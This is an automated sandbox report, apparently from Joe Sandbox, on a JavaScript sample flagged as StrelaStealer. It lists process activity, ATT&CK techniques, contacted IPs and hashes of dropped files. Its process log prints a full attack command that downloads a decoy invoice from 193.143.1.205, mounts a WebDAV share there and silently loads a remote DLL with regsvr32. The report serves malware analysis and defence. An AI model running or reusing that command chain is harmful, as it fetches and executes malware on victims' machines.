Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1329220172182926612.js	11%	Virustotal		Browse
1329220172182926612.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/BHQx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2987672507.000002A4FAC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1736288102.000002A4FAB62000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1736546747.000001C0B2448000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/BHQx	net.exe, 00000006.00000003.1735407855.000001C0B247B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1736602155.000001C0B247B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1736288102.000002A4FAB62000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589874
Start date and time:	2025-01-13 09:31:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1329220172182926612.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/41@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.22.242.11, 2.22.242.123, 54.224.241.105, 50.16.47.176, 18.213.11.84, 34.237.241.83, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.19.126.149, 2.19.126.143, 172.202.163.200, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:32:02	API Interceptor	21x Sleep call for process: powershell.exe modified
03:32:06	API Interceptor	1x Sleep call for process: net.exe modified
03:32:06	API Interceptor	2x Sleep call for process: svchost.exe modified
03:32:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	199.232.214.172
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://satelite.nv-ec.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.te-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.flndmy.er-xu.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1178918864369817238.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	byte.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073439071594974
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrx:KooCEYhgYEL0In
MD5:	D7169B2DEE3566AB55D3B9D7A4F5D796
SHA1:	1CCB34AF75920F105A8091F8A8132495AF6A011C
SHA-256:	ACB7E5494E734C3D050062323BCBB4401BAD4659A5E97E56AEF4AFCD616902D4
SHA-512:	0032B673506C1019BF9113D76DBD84AA152A419138806D06771CC0DDA6C08894096FC8A7A6609A8E1361F357AB13C3E8E82FEFA03E898A71994834DDB8C2547C
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x95a26be7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42211192120575025
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Jaza/vMUM2Uvz7DO
MD5:	AB036C30FFFCE77EA5E707A696361E05
SHA1:	A7332F61910837BC590DD09A8C4BCE51F9BF86A0
SHA-256:	CF9954B1912F7247FEC41497F0FDF68A99231804BF1E53D107AB9A0039BC99FC
SHA-512:	C494F01F5B18E859D7E5CD5153B83A023077314EB436E3003EAEAEB6F94A6797D5BBCD6F6CE150D7F84402E67BF82D99093381C6414697D57827C3DBBD632829
Malicious:	false
Preview:	..k.... .......A.......X\...;...{......................0.!..........{A.. ...}o.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................g. ...}o.................2... ...}o..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07672623268095699
Encrypted:	false
SSDEEP:	3:YitYeVibjjn13a/x1IYllcVO/lnlZMxZNQl:YitzVibj53qztOewk
MD5:	0E8954EA1E1C771A2F527E30C464F066
SHA1:	D39B8D47F54B0831468C94BF4BB8C0838EBA87EC
SHA-256:	11EA358CEC678E94DF495903F59FC4069E2FC31C6BDB6F6BA32B74310DC8436D
SHA-512:	75E763D635144633950088F275E19DF3D9D281409F1FB205E30498839894C2A8033B6C46C76940103CE52843982727B58C3659E1B88C778EB8AC0A7A382E2D0A
Malicious:	false
Preview:	..G......................................;...{... ...}o......{A..............{A......{A..........{A]................2... ...}o.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.167891364222075
Encrypted:	false
SSDEEP:	6:iOnQN7t34q2Pwkn2nKuAl9OmbnIFUtdQNtFJZmwzQNtFDkwOwkn2nKuAl9OmbjLJ:7QN7tIvYfHAahFUtONd/8Nv5JfHAaSJ
MD5:	15874E45E3636B8AC5B326654DA99586
SHA1:	A19B25DECE8C0D9D25FF007BC3A91E7D3A8BA3D4
SHA-256:	551252EC9C50D17B505F14F8C63A8F36FD7C5387C42F1BC5F34753900F0D0DF8
SHA-512:	32D9B5177466DDCF4584944B59C79D79AB81E0E2176913A544A0619F62561AF6671D880C9E4425BD21FD9502FB0242C2C6E6129F605EE4EACD88F9F3F510A22F
Malicious:	false
Preview:	2025/01/13-03:32:06.152 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:32:06.154 1c80 Recovering log #3.2025/01/13-03:32:06.154 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.167891364222075
Encrypted:	false
SSDEEP:	6:iOnQN7t34q2Pwkn2nKuAl9OmbnIFUtdQNtFJZmwzQNtFDkwOwkn2nKuAl9OmbjLJ:7QN7tIvYfHAahFUtONd/8Nv5JfHAaSJ
MD5:	15874E45E3636B8AC5B326654DA99586
SHA1:	A19B25DECE8C0D9D25FF007BC3A91E7D3A8BA3D4
SHA-256:	551252EC9C50D17B505F14F8C63A8F36FD7C5387C42F1BC5F34753900F0D0DF8
SHA-512:	32D9B5177466DDCF4584944B59C79D79AB81E0E2176913A544A0619F62561AF6671D880C9E4425BD21FD9502FB0242C2C6E6129F605EE4EACD88F9F3F510A22F
Malicious:	false
Preview:	2025/01/13-03:32:06.152 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:32:06.154 1c80 Recovering log #3.2025/01/13-03:32:06.154 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.155268664818339
Encrypted:	false
SSDEEP:	6:iOnQNx+q2Pwkn2nKuAl9Ombzo2jMGIFUtdQNdeZZmwzQNdeNVkwOwkn2nKuAl9OU:7QN8vYfHAa8uFUtONd6/8NdG5JfHAa8z
MD5:	EE396DE3782AD7838D77FCCDBE8E26D9
SHA1:	774359FED2E15B0EB236D853961295CFBF6EB469
SHA-256:	08728C115C76544EA7C80F40252A5EF4D166FAA634A8835DE070BE481136BA0C
SHA-512:	5EB6C70F6798E95B4900DFF03321EC762390912FC3802FC10CD6C7A064838107607C473EEA05C7C3B3274EA926CC711FAA2F6931EA97700E3ACAC33C4FF67C9D
Malicious:	false
Preview:	2025/01/13-03:32:06.171 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:32:06.172 1cc8 Recovering log #3.2025/01/13-03:32:06.172 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.155268664818339
Encrypted:	false
SSDEEP:	6:iOnQNx+q2Pwkn2nKuAl9Ombzo2jMGIFUtdQNdeZZmwzQNdeNVkwOwkn2nKuAl9OU:7QN8vYfHAa8uFUtONd6/8NdG5JfHAa8z
MD5:	EE396DE3782AD7838D77FCCDBE8E26D9
SHA1:	774359FED2E15B0EB236D853961295CFBF6EB469
SHA-256:	08728C115C76544EA7C80F40252A5EF4D166FAA634A8835DE070BE481136BA0C
SHA-512:	5EB6C70F6798E95B4900DFF03321EC762390912FC3802FC10CD6C7A064838107607C473EEA05C7C3B3274EA926CC711FAA2F6931EA97700E3ACAC33C4FF67C9D
Malicious:	false
Preview:	2025/01/13-03:32:06.171 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:32:06.172 1cc8 Recovering log #3.2025/01/13-03:32:06.172 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9825a0a1-c722-4685-b4fe-7aec264b4e25.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.952361232564578
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1asBdOg2HgEcaq3QYiubInP7E4T3y:Y2sRdswdMHK3QYhbG7nby
MD5:	4AE6978D9A6722D9E647531834E4AA58
SHA1:	688BD6829138C0D5078FE4CAC1D398F50ACD1ECB
SHA-256:	1EAA419045D8C59AAAF30FAA5FFD079B58EA8F31B212CBEC95A62B2DC794C5F6
SHA-512:	49CCA05161074C249B3C0A126AD8BF69C33B8D8DFAAA5E8ED3B451F454B29108D23CBBE963EC25302D992886E864F827105B41F817D1BE8CDC914879FEF3CA76
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381317138780783","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131761},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.952361232564578
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1asBdOg2HgEcaq3QYiubInP7E4T3y:Y2sRdswdMHK3QYhbG7nby
MD5:	4AE6978D9A6722D9E647531834E4AA58
SHA1:	688BD6829138C0D5078FE4CAC1D398F50ACD1ECB
SHA-256:	1EAA419045D8C59AAAF30FAA5FFD079B58EA8F31B212CBEC95A62B2DC794C5F6
SHA-512:	49CCA05161074C249B3C0A126AD8BF69C33B8D8DFAAA5E8ED3B451F454B29108D23CBBE963EC25302D992886E864F827105B41F817D1BE8CDC914879FEF3CA76
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381317138780783","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131761},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.2567601622874705
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7c+gR:etJCV4FiN/jTN/2r8Mta02fEhgO73gog
MD5:	969358CB4048E9425F981CF89D9B0DE5
SHA1:	C7586F9B9437955AADF1A440551ED3558B1C381A
SHA-256:	4D5FA665D4686A47DD750DA33D75C205D5B9CD8661A03C90B2AEF2E912985EAF
SHA-512:	B95FC57ECF554DCBC3EC0F7584AB1CDB73214D7B1A09396703C88DADF59D497B6BFE3401E5A9234C17101F642DD02E88EE2FBF67724FC58990D83D595776541C
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.170985755444499
Encrypted:	false
SSDEEP:	6:iOnQNAcg3+q2Pwkn2nKuAl9OmbzNMxIFUtdQNEwZZmwzQNTVkwOwkn2nKuAl9Omk:7QNAVOvYfHAa8jFUtONEc/8N55JfHAab
MD5:	2E208635CF2EF1155C614F413DF9D6B3
SHA1:	495805F414E1C2F0F8ED8AC691E807FAEB08CC4B
SHA-256:	58CAB1A74610E7DC5C8C9E1678984744277976298EFB2C0A227E9D134EF35195
SHA-512:	BC231A665AE8D5C96A1ECE77A7A595D37A974077B5AA6A4FFE8151EFAA76BDC8C69107CA54A542FAE8C85A34E8C2C28A575882AA5CF822E5327FC68809C2764E
Malicious:	false
Preview:	2025/01/13-03:32:06.509 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:32:06.542 1cc8 Recovering log #3.2025/01/13-03:32:06.551 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.170985755444499
Encrypted:	false
SSDEEP:	6:iOnQNAcg3+q2Pwkn2nKuAl9OmbzNMxIFUtdQNEwZZmwzQNTVkwOwkn2nKuAl9Omk:7QNAVOvYfHAa8jFUtONEc/8N55JfHAab
MD5:	2E208635CF2EF1155C614F413DF9D6B3
SHA1:	495805F414E1C2F0F8ED8AC691E807FAEB08CC4B
SHA-256:	58CAB1A74610E7DC5C8C9E1678984744277976298EFB2C0A227E9D134EF35195
SHA-512:	BC231A665AE8D5C96A1ECE77A7A595D37A974077B5AA6A4FFE8151EFAA76BDC8C69107CA54A542FAE8C85A34E8C2C28A575882AA5CF822E5327FC68809C2764E
Malicious:	false
Preview:	2025/01/13-03:32:06.509 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:32:06.542 1cc8 Recovering log #3.2025/01/13-03:32:06.551 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4450201565853416
Encrypted:	false
SSDEEP:	384:yezci5tgiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r3s3OazzU89UTTgUL
MD5:	8B00B9431ED8E2BE3872B501B690B30C
SHA1:	B999F0880F36AAC2E5B1D70585D0AAABD4CACF0B
SHA-256:	8E96ECFB04C42CD24B6695923D8ED7895FF688E594F0CFA35BF19BA22C15E9E8
SHA-512:	8084CC9836BCA175BC90A9C44E8EDB0795CFEC9BB0210E77C601ADD684CE340E9446934832DCD4BB71A974EC3DD5BC830F4D39C14ECD95A8FE528A554E5D338D
Malicious:	false
